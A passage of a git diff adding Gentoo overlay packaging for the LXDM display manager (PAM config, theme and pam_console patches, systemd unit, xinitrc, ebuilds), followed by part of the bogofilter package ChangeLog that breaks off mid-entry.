+ auth       optional	pam_gnome_keyring.so
+-account    include	system-auth
++account    include	system-local-login
+ session    optional	pam_keyinit.so force revoke
+-session    include	system-auth
++session    include	system-local-login
+ session    required	pam_loginuid.so
+ #session    optional	pam_console.so
+ session    optional	pam_gnome_keyring.so auto_start
diff --git a/lxde-base/lxdm/files/lxdm-0.4.1-pam_console-disable.patch b/lxde-base/lxdm/files/lxdm-0.4.1-pam_console-disable.patch
new file mode 100644
index 00000000..628e9a51
--- /dev/null
+++ b/lxde-base/lxdm/files/lxdm-0.4.1-pam_console-disable.patch
@@ -0,0 +1,9 @@
+--- lxdm-0.4.0.orig/pam/lxdm
++++ lxdm-0.4.0/pam/lxdm
+@@ -5,5 +5,5 @@ account    include	system-auth
+ session    optional	pam_keyinit.so force revoke
+ session    include	system-auth
+ session    required	pam_loginuid.so
+-session    optional	pam_console.so
++#session    optional	pam_console.so
+ session    optional	pam_gnome_keyring.so auto_start
diff --git a/lxde-base/lxdm/files/lxdm-0.4.1-rogentos-1-theme.patch b/lxde-base/lxdm/files/lxdm-0.4.1-rogentos-1-theme.patch
new file mode 100644
index 00000000..1a7f84a7
--- /dev/null
+++ b/lxde-base/lxdm/files/lxdm-0.4.1-rogentos-1-theme.patch
@@ -0,0 +1,32 @@
+--- orig/data/lxdm.conf.in	2013-07-01 01:20:22.289454072 +0300
++++ data/lxdm.conf.in	2013-07-01 01:19:34.353452789 +0300
+@@ -1,6 +1,6 @@
+ [base]
+ ## uncomment and set autologin username to enable autologin
+-# autologin=dgod
++# autologin=rogentosuser
+ 
+ ## uncomment and set timeout to enable timeout autologin,
+ ## the value should >=5
+@@ -24,10 +24,10 @@
+ 
+ [display]
+ ## gtk theme used by greeter
+-gtk_theme=Clearlooks
++gtk_theme=Kogaion-light
+ 
+ ## background of the greeter
+-bg=/usr/share/backgrounds/default.png
++bg=/usr/share/lxdm/themes/Kogaion/kogaion.png
+ 
+ ## if show bottom pane
+ bottom_pane=1
+@@ -39,7 +39,7 @@
+ keyboard=0
+ 
+ ## the theme of greeter
+-theme=Industrial
++theme=Kogaion
+ 
+ [input]
+ 
diff --git a/lxde-base/lxdm/files/lxdm-0.4.1-rogentos-conf.patch b/lxde-base/lxdm/files/lxdm-0.4.1-rogentos-conf.patch
new file mode 100644
index 00000000..bfa28b6c
--- /dev/null
+++ b/lxde-base/lxdm/files/lxdm-0.4.1-rogentos-conf.patch
@@ -0,0 +1,11 @@
+--- orig/data/lxdm.conf	2013-07-01 01:27:22.793465333 +0300
++++ data/lxdm.conf	2013-07-01 01:27:34.691465652 +0300
+@@ -24,7 +24,7 @@
+ 
+ [display]
+ ## gtk theme used by greeter
+-gtk_theme=Clearlooks
++gtk_theme=Kogaion-light
+ 
+ ## background of the greeter
+ bg=/usr/share/backgrounds/default.png
diff --git a/lxde-base/lxdm/files/lxdm.service b/lxde-base/lxdm/files/lxdm.service
new file mode 100644
index 00000000..298914b5
--- /dev/null
+++ b/lxde-base/lxdm/files/lxdm.service
@@ -0,0 +1,11 @@
+[Unit]
+Description=LXDM (Lightweight X11 Display Manager)
+After=systemd-user-sessions.service
+
+[Service]
+ExecStart=/usr/sbin/lxdm
+Restart=always
+
+[Install]
+Alias=display-manager.service
+WantedBy=graphical.target
diff --git a/lxde-base/lxdm/files/xinitrc b/lxde-base/lxdm/files/xinitrc
new file mode 100644
index 00000000..013b8164
--- /dev/null
+++ b/lxde-base/lxdm/files/xinitrc
@@ -0,0 +1,52 @@
+# Source for this script borrowed from portions of kdm's Xsession.
+
+case $SHELL in
+  */bash)
+    [ -z "$BASH" ] && exec $SHELL $0 "$@"
+    set +o posix
+    [ -f /etc/profile ] && . /etc/profile
+    if [ -f $HOME/.bash_profile ]; then
+      . $HOME/.bash_profile
+    elif [ -f $HOME/.bash_login ]; then
+      . $HOME/.bash_login
+    elif [ -f $HOME/.profile ]; then
+      . $HOME/.profile
+    fi
+    ;;
+  */zsh)
+    [ -z "$ZSH_NAME" ] && exec $SHELL $0 "$@"
+    emulate -R zsh
+    [ -d /etc/zsh ] && zdir=/etc/zsh || zdir=/etc
+    zhome=${ZDOTDIR:-$HOME}
+    # zshenv is always sourced automatically.
+    [ -f $zdir/zprofile ] && . $zdir/zprofile
+    [ -f $zhome/.zprofile ] && . $zhome/.zprofile
+    [ -f $zdir/zlogin ] && . $zdir/zlogin
+    [ -f $zhome/.zlogin ] && . $zhome/.zlogin
+    ;;
+  */csh|*/tcsh)
+    # [t]cshrc is always sourced automatically.
+    # Note that sourcing csh.login after .cshrc is non-standard.
+    xsess_tmp=`mktemp /tmp/xsess-env-XXXXXX`
+    $SHELL -c "if (-f /etc/csh.login) source /etc/csh.login; if (-f ~/.login) source ~/.login; /bin/sh -c export -p >! $xsess_tmp"
+    . $xsess_tmp
+    rm -f $xsess_tmp
+    ;;
+  *) # Plain sh, ksh, and anything we do not know.
+    [ -f /etc/profile ] && . /etc/profile
+    [ -f $HOME/.profile ] && . $HOME/.profile
+    ;;
+esac
+
+[ -f /etc/xprofile ] && . /etc/xprofile
+[ -f $HOME/.xprofile ] && . $HOME/.xprofile
+
+# run all system xinitrc shell scripts.
+if [ -d /etc/X11/xinit/xinitrc.d ]; then
+	for i in /etc/X11/xinit/xinitrc.d/* ; do
+		if [ -x "$i" ]; then
+			. "$i"
+		fi
+	done
+fi
+
diff --git a/lxde-base/lxdm/lxdm-0.4.1-r7.ebuild b/lxde-base/lxdm/lxdm-0.4.1-r7.ebuild
new file mode 100644
index 00000000..7ac178d7
--- /dev/null
+++ b/lxde-base/lxdm/lxdm-0.4.1-r7.ebuild
@@ -0,0 +1,89 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils autotools systemd
+
+DESCRIPTION="LXDE Display Manager"
+HOMEPAGE="http://lxde.org"
+SRC_URI="mirror://sourceforge/lxde/${P}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~arm ~amd64 ~x86"
+
+IUSE="debug gtk3 nls pam"
+
+RDEPEND="sys-auth/consolekit
+	x11-libs/libxcb
+	>=x11-themes/kogaion-artwork-lxde-1
+	gtk3? ( x11-libs/gtk+:3 )
+	!gtk3? ( x11-libs/gtk+:2 )
+	nls? ( sys-devel/gettext )
+	pam? ( virtual/pam )"
+DEPEND="${RDEPEND}
+	>=dev-util/intltool-0.40
+	dev-util/pkgconfig"
+
+src_prepare() {
+	# Upstream bug, tarball contains pre-made lxdm.conf
+	epatch "${FILESDIR}/${P}-rogentos-conf.patch"
+	rm "${S}"/data/lxdm.conf || die
+
+	# There is consolekit
+	epatch "${FILESDIR}/${P}-pam_console-disable.patch"
+	# Backported, drop it when 0.4.2
+	epatch "${FILESDIR}/${P}-git-fix-null-pointer-deref.patch"
+	# RogentOS specific theme patch
+	epatch "${FILESDIR}/${P}-rogentos-1-theme.patch"
+	# Fix sessions with arguments, see:
+	# http://lists.sabayon.org/pipermail/devel/2012-January/007582.html
+	epatch "${FILESDIR}/${P}-fix-session-args.patch"
+
+	epatch "${FILESDIR}"/${P}-configure-add-pam.patch
+
+	# 403999
+	epatch "${FILESDIR}"/${P}-missing-pam-defines.patch
+
+	epatch "${FILESDIR}"/${P}-fix-event-check-bug.patch
+
+	# Also see #422495
+	epatch "${FILESDIR}"/${P}-pam-use-system-local-login.patch
+
+	# See https://bugs.launchpad.net/ubuntu/+source/lxdm/+bug/922363
+	epatch "${FILESDIR}/${P}-fix-pam-100-cpu.patch"
+
+	# this replaces the bootstrap/autogen script in most packages
+	eautoreconf
+
+	# process LINGUAS
+	if use nls; then
+		einfo "Running intltoolize ..."
+		intltoolize --force --copy --automake || die
+		strip-linguas -i "${S}/po" || die
+	fi
+}
+src_configure() {
+	econf	--enable-password \
+		--with-x \
+		--with-xconn=xcb \
+		$(use_enable gtk3) \
+		$(use_enable nls) \
+		$(use_enable debug) \
+		$(use_with pam)
+}
+
+src_install() {
+	emake DESTDIR="${D}" install || die
+	dodoc AUTHORS README TODO || die
+
+	systemd_dounit "${FILESDIR}/lxdm.service"
+}
+
+pkg_postinst() {
+	echo
+	elog "LXDM in the early stages of development!"
+	echo
+}
diff --git a/lxde-base/lxdm/lxdm-0.4.1-r8.ebuild b/lxde-base/lxdm/lxdm-0.4.1-r8.ebuild
new file mode 100644
index 00000000..9ea406ac
--- /dev/null
+++ b/lxde-base/lxdm/lxdm-0.4.1-r8.ebuild
@@ -0,0 +1,93 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils autotools systemd
+
+DESCRIPTION="LXDE Display Manager"
+HOMEPAGE="http://lxde.org"
+SRC_URI="mirror://sourceforge/lxde/${P}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~arm ~amd64 ~x86"
+
+IUSE="consolekit debug gtk3 nls pam"
+
+RDEPEND="consolekit? ( sys-auth/consolekit )
+	x11-libs/libxcb
+	>=x11-themes/kogaion-artwork-lxde-1
+	gtk3? ( x11-libs/gtk+:3 )
+	!gtk3? ( x11-libs/gtk+:2 )
+	nls? ( sys-devel/gettext )
+	pam? ( virtual/pam )"
+DEPEND="${RDEPEND}
+	>=dev-util/intltool-0.40
+	dev-util/pkgconfig"
+
+src_prepare() {
+	# Upstream bug, tarball contains pre-made lxdm.conf
+	epatch "${FILESDIR}"/"${P}"-rogentos-conf.patch
+	rm "${S}"/data/lxdm.conf || die
+
+	# There is consolekit
+	epatch "${FILESDIR}/${P}-pam_console-disable.patch"
+	# Backported, drop it when 0.4.2
+	epatch "${FILESDIR}/${P}-git-fix-null-pointer-deref.patch"
+	# Sabayon specific theme patch
+	epatch "${FILESDIR}/${P}-rogentos-1-theme.patch"
+	# Fix sessions with arguments, see:
+	# http://lists.sabayon.org/pipermail/devel/2012-January/007582.html
+	epatch "${FILESDIR}/${P}-fix-session-args.patch"
+
+	epatch "${FILESDIR}"/${P}-configure-add-pam.patch
+
+	# 403999
+	epatch "${FILESDIR}"/${P}-missing-pam-defines.patch
+
+	epatch "${FILESDIR}"/${P}-fix-event-check-bug.patch
+
+	# Also see #422495
+	epatch "${FILESDIR}"/${P}-pam-use-system-local-login.patch
+
+	# See https://bugs.launchpad.net/ubuntu/+source/lxdm/+bug/922363
+	epatch "${FILESDIR}/${P}-fix-pam-100-cpu.patch"
+
+	# Make consolekit optional
+	epatch "${FILESDIR}/${P}-optional-consolekit.patch"
+
+	# this replaces the bootstrap/autogen script in most packages
+	eautoreconf
+
+	# process LINGUAS
+	if use nls; then
+		einfo "Running intltoolize ..."
+		intltoolize --force --copy --automake || die
+		strip-linguas -i "${S}/po" || die
+	fi
+}
+src_configure() {
+	econf	--enable-password \
+		--with-x \
+		--with-xconn=xcb \
+		$(use_enable consolekit) \
+		$(use_enable gtk3) \
+		$(use_enable nls) \
+		$(use_enable debug) \
+		$(use_with pam)
+}
+
+src_install() {
+	emake DESTDIR="${D}" install || die
+	dodoc AUTHORS README TODO || die
+
+	systemd_dounit "${FILESDIR}/lxdm.service"
+}
+
+pkg_postinst() {
+	echo
+	elog "LXDM in the early stages of development!"
+	echo
+}
diff --git a/lxde-base/lxdm/metadata.xml b/lxde-base/lxdm/metadata.xml
new file mode 100644
index 00000000..06d7ed17
--- /dev/null
+++ b/lxde-base/lxdm/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+	<herd>lxde</herd>
+</pkgmetadata>
diff --git a/mail-filter/bogofilter/ChangeLog b/mail-filter/bogofilter/ChangeLog
new file mode 100644
index 00000000..4bf8c2dc
--- /dev/null
+++ b/mail-filter/bogofilter/ChangeLog
@@ -0,0 +1,777 @@
+# ChangeLog for mail-filter/bogofilter
+# Copyright 1999-2012 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/mail-filter/bogofilter/ChangeLog,v 1.148 2012/12/15 17:45:29 armin76 Exp $
+
+  15 Dec 2012; Raúl Porcel <armin76@gentoo.org> bogofilter-1.2.3.ebuild:
+  alpha/ia64/sh/sparc stable wrt #445908
+
+  05 Dec 2012; Anthony G. Basile <blueness@gentoo.org> bogofilter-1.2.3.ebuild:
+  stable arm, bug #445908
+
+  04 Dec 2012; Jeroen Roovers <jer@gentoo.org> bogofilter-1.2.3.ebuild:
+  Stable for HPPA (bug #445908).
+
+  04 Dec 2012; <ago@gentoo.org> bogofilter-1.2.3.ebuild:
+  Stable for ppc64, wrt bug #445908
+
+  04 Dec 2012; <ago@gentoo.org> bogofilter-1.2.3.ebuild:
+  Stable for ppc, wrt bug #445908
+
+  04 Dec 2012; <ago@gentoo.org> bogofilter-1.2.3.ebuild:
+  Stable for x86, wrt bug #445908
+
+  04 Dec 2012; <ago@gentoo.org> bogofilter-1.2.3.ebuild:
+  Stable for amd64, wrt bug #445908
+
+*bogofilter-1.2.3 (04 Dec 2012)
+
+  04 Dec 2012; Eray Aslan <eras@gentoo.org> +bogofilter-1.2.3.ebuild:
+  Security bump - bug #445908
+
+  04 Jun 2012; Zac Medico <zmedico@gentoo.org> bogofilter-1.2.2.ebuild:
+  inherit eutils for epatch
+
+  10 Jun 2011; Eray Aslan <eras@gentoo.org> bogofilter-1.2.2.ebuild,
+  +files/bogofilter-1.2.2-gcc34.patch:
+  Fix gcc-3.4 compile error - bug #324405. Thanks to Roman Barczyński.
+
+  11 Oct 2010; Torsten Veller <tove@gentoo.org> bogofilter-1.2.2.ebuild:
+  Bump EAPI for has_version atoms (#340473)
+
+  12 Aug 2010; Torsten Veller <tove@gentoo.org> -bogofilter-0.92.8.ebuild,
+  -bogofilter-1.2.1.ebuild, -bogofilter-1.2.1-r1.ebuild:
+  Cleanup. Bye bye mips
+
+  11 Aug 2010; Joseph Jezak <josejx@gentoo.org> bogofilter-1.2.2.ebuild:
+  Marked ppc64 stable for bug #327657.
+
+  31 Jul 2010; Raúl Porcel <armin76@gentoo.org> bogofilter-1.2.2.ebuild:
+  alpha/ia64/sh/sparc stable wrt #327657
+
+  29 Jul 2010; Jeroen Roovers <jer@gentoo.org> bogofilter-1.2.2.ebuild:
+  Stable for PPC (bug #327657).
+
+  29 Jul 2010; Jeroen Roovers <jer@gentoo.org> bogofilter-1.2.2.ebuild:
+  Stable for HPPA (bug #327657).
+
+  26 Jul 2010; Markus Meier <maekke@gentoo.org> bogofilter-1.2.2.ebuild:
+  amd64/arm/x86 stable, bug #327657
+
+*bogofilter-1.2.2 (09 Jul 2010)
+
+  09 Jul 2010; Torsten Veller <tove@gentoo.org> +bogofilter-1.2.2.ebuild:
+  Version bump.
+  Fixes a heap corruption in base64 decoder on invalid input (CVE-2010-2494)
+
+  06 Jun 2010; Raúl Porcel <armin76@gentoo.org> bogofilter-1.2.1-r1.ebuild:
+  Add ~arm/~sh wrt #314849
+
+*bogofilter-1.2.1-r1 (12 Apr 2010)
+
+  12 Apr 2010; Torsten Veller <tove@gentoo.org> +bogofilter-1.2.1-r1.ebuild,
+  metadata.xml:
+  Add tokyocabinet support
+
+  03 Nov 2009; Torsten Veller <tove@gentoo.org> -bogofilter-1.2.0.ebuild:
+  Cleanup
+
+  21 Oct 2009; Jeroen Roovers <jer@gentoo.org> bogofilter-1.2.1.ebuild:
+  Stable for HPPA (bug #284900).
+
+  27 Sep 2009; nixnut <nixnut@gentoo.org> bogofilter-1.2.1.ebuild:
+  ppc stable #284900
+
+  27 Sep 2009; Brent Baude <ranger@gentoo.org> bogofilter-1.2.1.ebuild:
+  Marking bogofilter-1.2.1 ppc64 for bug 284900
+
+  23 Sep 2009; Raúl Porcel <armin76@gentoo.org> bogofilter-1.2.1.ebuild:
+  alpha/arm/ia64/sh/sparc stable wrt #284900
+
+  23 Sep 2009; Patrick Lauer <patrick@gentoo.org> bogofilter-0.92.8.ebuild:
+  Remove virtual/libc
+
+  16 Sep 2009; Christian Faulhammer <fauli@gentoo.org>
+  bogofilter-1.2.1.ebuild:
+  stable x86, bug 284900
+
+  16 Sep 2009; Romain Perier <mrpouet@gentoo.org>
+  bogofilter-1.2.1.ebuild:
+  Stable for amd64 per bug #284900.
+
+*bogofilter-1.2.1 (02 Aug 2009)
+
+  02 Aug 2009; Torsten Veller <tove@gentoo.org> +bogofilter-1.2.1.ebuild:
+  Version bump
+
+  02 May 2009; Torsten Veller <tove@gentoo.org> -bogofilter-1.1.7.ebuild:
+  Cleanup
+
+  02 May 2009; Jeroen Roovers <jer@gentoo.org> bogofilter-1.2.0.ebuild:
+  Stable for HPPA (bug #264832).
+
+  23 Apr 2009; Raúl Porcel <armin76@gentoo.org> bogofilter-1.2.0.ebuild:
+  arm/ia64/sh/sparc stable wrt #264832
+
+  18 Apr 2009; nixnut <nixnut@gentoo.org> bogofilter-1.2.0.ebuild:
+  ppc stable #264832
+
+  15 Apr 2009; Markus Meier <maekke@gentoo.org> bogofilter-1.2.0.ebuild:
+  amd64/x86 stable, bug #264832
+
+  14 Apr 2009; Brent Baude <ranger@gentoo.org> bogofilter-1.2.0.ebuild:
+  Marking bogofilter-1.2.0 ppc64 for bug 264832
+
+  07 Apr 2009; Tobias Klausmann <klausman@gentoo.org>
+  bogofilter-1.2.0.ebuild:
+  Stable on alpha, bug #264832
+
+*bogofilter-1.2.0 (22 Feb 2009)
+
+  22 Feb 2009; Torsten Veller <tove@gentoo.org> +bogofilter-1.2.0.ebuild:
+  Version bump
+
+  23 Nov 2008; Torsten Veller <tove@gentoo.org> -bogofilter-1.1.5.ebuild,
+  -bogofilter-1.1.6.ebuild:
+  Cleanup
+
+  10 Nov 2008; Raúl Porcel <armin76@gentoo.org> bogofilter-1.1.7.ebuild:
+  arm/sh stable
+
+  11 Jun 2008; nixnut <nixnut@gentoo.org> bogofilter-1.1.7.ebuild:
+  Stable on ppc wrt bug 224849
+
+  08 Jun 2008; Raúl Porcel <armin76@gentoo.org> bogofilter-1.1.7.ebuild:
+  alpha/ia64 stable wrt #224849
+
+  07 Jun 2008; Kenneth Prugh <ken69267@gentoo.org> bogofilter-1.1.7.ebuild:
+  amd64 stable, bug #224849
+
+  07 Jun 2008; Friedrich Oslage <bluebird@gentoo.org>
+  bogofilter-1.1.7.ebuild:
+  stable on sparc, bug #224849
+
+  04 Jun 2008; Markus Rothe <corsair@gentoo.org> bogofilter-1.1.7.ebuild:
+  Stable on ppc64; bug #224849
+
+  04 Jun 2008; Jeroen Roovers <jer@gentoo.org> bogofilter-1.1.7.ebuild:
+  Stable for HPPA (bug #224849).
+
+  04 Jun 2008; Dawid Węgliński <cla@gentoo.org> bogofilter-1.1.7.ebuild:
+  Stable on x86 (bug #224849)
+
+*bogofilter-1.1.7 (05 May 2008)
+
+  05 May 2008; Torsten Veller <tove@gentoo.org> +bogofilter-1.1.7.ebuild:
+  Version bump
+
+  01 Mar 2008; Christoph Mende <angelos@gentoo.org> bogofilter-1.1.6.ebuild:
+  Stable on amd64, bug #211412
+
+  29 Feb 2008; Brent Baude <ranger@gentoo.org> bogofilter-1.1.6.ebuild:
+  stable ppc64, bug 211412
+
+  27 Feb 2008; Raúl Porcel <armin76@gentoo.org> bogofilter-1.1.6.ebuild:
+  alpha/ia64 stable wrt #211412
+
+  26 Feb 2008; Ferris McCormick <fmccor@gentoo.org> bogofilter-1.1.6.ebuild:
+  Sparc stable --- Bug #211412 --- tests good.
+
+  26 Feb 2008; nixnut <nixnut@gentoo.org> bogofilter-1.1.6.ebuild:
+  Stable on ppc wrt bug 211412
+
+  26 Feb 2008; Jeroen Roovers <jer@gentoo.org> bogofilter-1.1.6.ebuild:
+  Stable for HPPA (bug #211412).
+
+  26 Feb 2008; Christian Faulhammer <opfer@gentoo.org> bogofilter-1.1.6.ebuild:
+  stable x86, bug 211412
+
+*bogofilter-1.1.6 (28 Nov 2007)
+
+  28 Nov 2007; Torsten Veller <tove@gentoo.org> +bogofilter-1.1.6.ebuild:
+  Version bump.
+
+  14 Jul 2007; Torsten Veller <tove@gentoo.org>
+  -files/1.1.1-patch.1107.lexer_v3_l, bogofilter-0.92.8.ebuild,
+  -bogofilter-1.1.1-r1.ebuild:
+  Removed unneeded version and keyword from 0.92.8
+
+  11 Jun 2007; Daniel Gryniewicz <dang@gentoo.org> bogofilter-1.1.5.ebuild:
+  Marked stable on amd64 for bug #180736
+
+  10 Jun 2007; Tobias Scherbaum <dertobi123@gentoo.org>
+  bogofilter-1.1.5.ebuild:
+  ppc stable, bug #180736
+
+  09 Jun 2007; Raúl Porcel <armin76@gentoo.org> bogofilter-1.1.5.ebuild:
+  alpha/ia64 stable wrt #180736
+
+  04 Jun 2007; Christian Faulhammer <opfer@gentoo.org>
+  bogofilter-1.1.5.ebuild:
+  stable x86, security bug 180736
+
+  04 Jun 2007; Brent Baude <ranger@gentoo.org> bogofilter-1.1.5.ebuild:
+  Marking bogofilter-1.1.5 ppc64 stable for bug#180736
+
+  04 Jun 2007; Gustavo Zacarias <gustavoz@gentoo.org>
+  bogofilter-1.1.5.ebuild:
+  Stable on sparc wrt #180736
+
+  03 Jun 2007; Jeroen Roovers <jer@gentoo.org> bogofilter-1.1.5.ebuild:
+  Stable for HPPA (bug #180736).
+
+  28 Feb 2007; Torsten Veller <tove@gentoo.org> bogofilter-1.1.5.ebuild:
+  Include fix for USE="berkdb -sqlite"
+
+  28 Feb 2007; Roy Marples <uberlord@gentoo.org> bogofilter-1.1.5.ebuild:
+  Added ~x86-fbsd keyword. When building against berkdb, include the versioned
+  db header dir as /usr/include/db.h is always db-1 on FreeBSD.
+
+*bogofilter-1.1.5 (15 Jan 2007)
+
+  15 Jan 2007; Torsten Veller <tove@gentoo.org> -bogofilter-1.1.4.ebuild,
+  +bogofilter-1.1.5.ebuild:
+  Version bump. Removed 1.1.4
+
+  06 Jan 2007; Torsten Veller <tove@gentoo.org>
+  -files/1.1.3-patch.1142.Makefile.in, bogofilter-0.92.8.ebuild,
+  bogofilter-1.1.1-r1.ebuild, -bogofilter-1.1.3.ebuild,
+  bogofilter-1.1.4.ebuild:
+  Removed unneeded version and changed einfo->elog
+
+*bogofilter-1.1.4 (01 Jan 2007)
+
+  01 Jan 2007; Torsten Veller <tove@gentoo.org> +bogofilter-1.1.4.ebuild:
+  Version bump
+
+  26 Dec 2006; Andrej Kacian <ticho@gentoo.org>
+  -files/1.1.3-patch.1142.Makefile.am, +files/1.1.3-patch.1142.Makefile.in,
+  bogofilter-1.1.3.ebuild:
+  Patch src/Makefile.in instead of src/Makefile.am to avoid having to run
+  autoconf, thus fixing bug #159088.
+
+  26 Dec 2006; Andrej Kacian <ticho@gentoo.org> bogofilter-1.1.3.ebuild:
+  Revert last change, this was not a proper fix.
+
+  26 Dec 2006; Andrej Kacian <ticho@gentoo.org> bogofilter-1.1.3.ebuild:
+  Make sci-libs/gsl an unconditional dependency, since we're rebuilding
+  configure and need macros provided by it. Closes bug #159088, reported by
+  Lónyai Gergely <alephlg at gmail.com>.
+
+  09 Dec 2006; Torsten Veller <tove@gentoo.org>
+  +files/1.1.3-patch.1142.Makefile.am, bogofilter-1.1.3.ebuild:
+  Fixes parallel make failure with included gsl (bug #112638). Thanks to
+  Martin von Gagern and David Relson.
+
+*bogofilter-1.1.3 (03 Dec 2006)
+
+  03 Dec 2006; Torsten Veller <tove@gentoo.org> -bogofilter-1.1.1.ebuild,
+  +bogofilter-1.1.3.ebuild:
+  Version bump. Removed old version.
+
+  02 Dec 2006; Torsten Veller <tove@gentoo.org> -bogofilter-1.0.2.ebuild,
+  -bogofilter-1.0.3.ebuild, bogofilter-1.1.1-r1.ebuild:
+  Lifting keywords for alpha, ia64, ppc, ppc64 from 1.1.1 to 1.1.1-r1 wrt bugs
+  #153240 and #153939. Removing old versions.
+
+  01 Dec 2006; Gustavo Zacarias <gustavoz@gentoo.org>
+  bogofilter-1.1.1-r1.ebuild:
+  Stable on hppa wrt #153240
+
+  20 Nov 2006; Gustavo Zacarias <gustavoz@gentoo.org>
+  bogofilter-1.1.1-r1.ebuild:
+  Stable on sparc
+
+  10 Nov 2006; Daniel Gryniewicz <dang@gentoo.org>
+  bogofilter-1.1.1-r1.ebuild:
+  Marked stable on amd64 for bug #153240
+
+  08 Nov 2006; Christian Faulhammer <opfer@gentoo.org>
+  bogofilter-1.1.1-r1.ebuild:
+  stable x86, bug #153240
+
+  08 Nov 2006; Torsten Veller <tove@gentoo.org>
+  files/1.1.1-patch.1107.lexer_v3_l:
+  Removed cvs keywords from patch
+
+*bogofilter-1.1.1-r1 (08 Nov 2006)
+
+  08 Nov 2006; Torsten Veller <tove@gentoo.org>
+  +files/1.1.1-patch.1107.lexer_v3_l, +bogofilter-1.1.1-r1.ebuild:
+  Bump to address bug #153939.
+
+  04 Nov 2006; Alexander H. Færøy <eroyf@gentoo.org>
+  bogofilter-1.1.1.ebuild:
+  stable on alpha, bug 153240
+
+  01 Nov 2006; Bryan Østergaard <kloeri@gentoo.org>
+  bogofilter-1.1.1.ebuild:
+  Stable on ia64, bug 153240.
+
+  30 Oct 2006; Jason Wever <weeve@gentoo.org> bogofilter-1.1.1.ebuild:
+  Stable on SPARC wrt bug #153240.
+
+  29 Oct 2006; nixnut <nixnut@gentoo.org> bogofilter-1.1.1.ebuild:
+  Stable on ppc wrt bug 153240
+
+  29 Oct 2006; Torsten Veller <tove@gentoo.org> bogofilter-0.92.8.ebuild:
+  Removed keywords from old version except arm and ~mips (#74046)
+
+  29 Oct 2006; Joshua <joslwah@gentoo.org> bogofilter-1.1.1.ebuild:
+  Keyword bogofilter-1.1.1 ppc64 stable.  Bug 153240.
+
+  20 Oct 2006; Bryan Østergaard <kloeri@gentoo.org>
+  bogofilter-1.0.2.ebuild:
+  Stable on Alpha.
+
+*bogofilter-1.1.1 (24 Aug 2006)
+
+  24 Aug 2006; Torsten Veller <tove@gentoo.org> +bogofilter-1.1.1.ebuild:
+  Version bump.
+
+  23 Aug 2006; Gustavo Zacarias <gustavoz@gentoo.org>
+  bogofilter-1.0.2.ebuild:
+  Stable on hppa wrt #133817
+
+  09 Aug 2006; Chris Gianelloni <wolf31o2@gentoo.org>
+  bogofilter-1.0.2.ebuild:
+  Stable on x86 wrt bug #133817.
+
+  08 Aug 2006; Thomas Cort <tcort@gentoo.org> bogofilter-1.0.2.ebuild:
+  Stable on amd64 wrt Bug #133817.
+
+  23 Jul 2006; Tobias Scherbaum <dertobi123@gentoo.org>
+  bogofilter-1.0.2.ebuild:
+  ppc stable, bug #133817
+
+  13 Jul 2006; Aron Griffis <agriffis@gentoo.org> bogofilter-1.0.2.ebuild:
+  Mark 1.0.2 stable on ia64
+
+*bogofilter-1.0.3 (11 Jul 2006)
+
+  11 Jul 2006; Torsten Veller <tove@gentoo.org> -bogofilter-1.0.1.ebuild,
+  +bogofilter-1.0.3.ebuild:
+  Version bump.
+
+  21 Jun 2006; Daniel Gryniewicz <dang@gentoo.org> bogofilter-1.0.2.ebuild:
+  Un-keyword amd64.  I don't know why repoman succeeded the first time
+
+  21 Jun 2006; Markus Rothe <corsair@gentoo.org> bogofilter-1.0.2.ebuild:
+  Stable on ppc64; bug #133817
+
+  21 Jun 2006; Daniel Gryniewicz <dang@gentoo.org> bogofilter-1.0.2.ebuild:
+  Marked stable on amd64 per bug#133817
+
+  21 Jun 2006; Gustavo Zacarias <gustavoz@gentoo.org>
+  bogofilter-1.0.2.ebuild:
+  Stable on sparc wrt #133817
+
+  20 Jun 2006; Torsten Veller <tove@gentoo.org> bogofilter-1.0.2.ebuild:
+  Changed dependency to virtual/libiconv
+
+*bogofilter-1.0.2 (04 Mar 2006)
+
+  04 Mar 2006; Torsten Veller <tove@gentoo.org> +bogofilter-1.0.2.ebuild:
+  New current version. Removed doc useflag.
+
+*bogofilter-1.0.1 (03 Jan 2006)
+
+  03 Jan 2006; Torsten Veller <tove@gentoo.org> -bogofilter-0.96.5.ebuild,
+  -bogofilter-0.96.6.ebuild, -bogofilter-1.0.0.ebuild,
+  +bogofilter-1.0.1.ebuild:
+  Version bump. Removing unneeded versions.
+
+  11 Dec 2005; Torsten Veller <tove@gentoo.org> bogofilter-0.92.8.ebuild:
+  uses always included gsl lib (bug #112638).
+
+  04 Dec 2005; Tom Gall <tgall@gentoo.org> bogofilter-0.92.8.ebuild:
+  stable on ppc64
+
+*bogofilter-1.0.0 (01 Dec 2005)
+
+  01 Dec 2005; Torsten Veller <tove@gentoo.org> +bogofilter-1.0.0.ebuild:
+  Version bump.
+
+  24 Nov 2005; Torsten Veller <tove@gentoo.org> bogofilter-0.96.6.ebuild:
+  Added "make check" patch from upstream.
+
+*bogofilter-0.96.6 (13 Nov 2005)
+
+  13 Nov 2005; Torsten Veller <tove@gentoo.org> +bogofilter-0.96.6.ebuild:
+  Version bump.
+
+*bogofilter-0.96.5 (08 Nov 2005)
+
+  08 Nov 2005; Torsten Veller <tove@gentoo.org> -bogofilter-0.94.14.ebuild,
+  -bogofilter-0.95.2.ebuild, -bogofilter-0.96.2.ebuild,
+  +bogofilter-0.96.5.ebuild:
+  Version bump: 0.96.5 a.k.a. 1.0.0-rc5
+
+*bogofilter-0.96.2 (25 Sep 2005)
+
+  25 Sep 2005; Torsten Veller <tove@gentoo.org> +bogofilter-0.96.2.ebuild:
+  New version.
+
+  13 Sep 2005; Aron Griffis <agriffis@gentoo.org> bogofilter-0.92.8.ebuild:
+  Mark 0.92.8 stable on alpha
+
+*bogofilter-0.95.2 (12 Jul 2005)
+
+  12 Jul 2005; Torsten Veller <tove@gentoo.org> metadata.xml,
+  +bogofilter-0.95.2.ebuild:
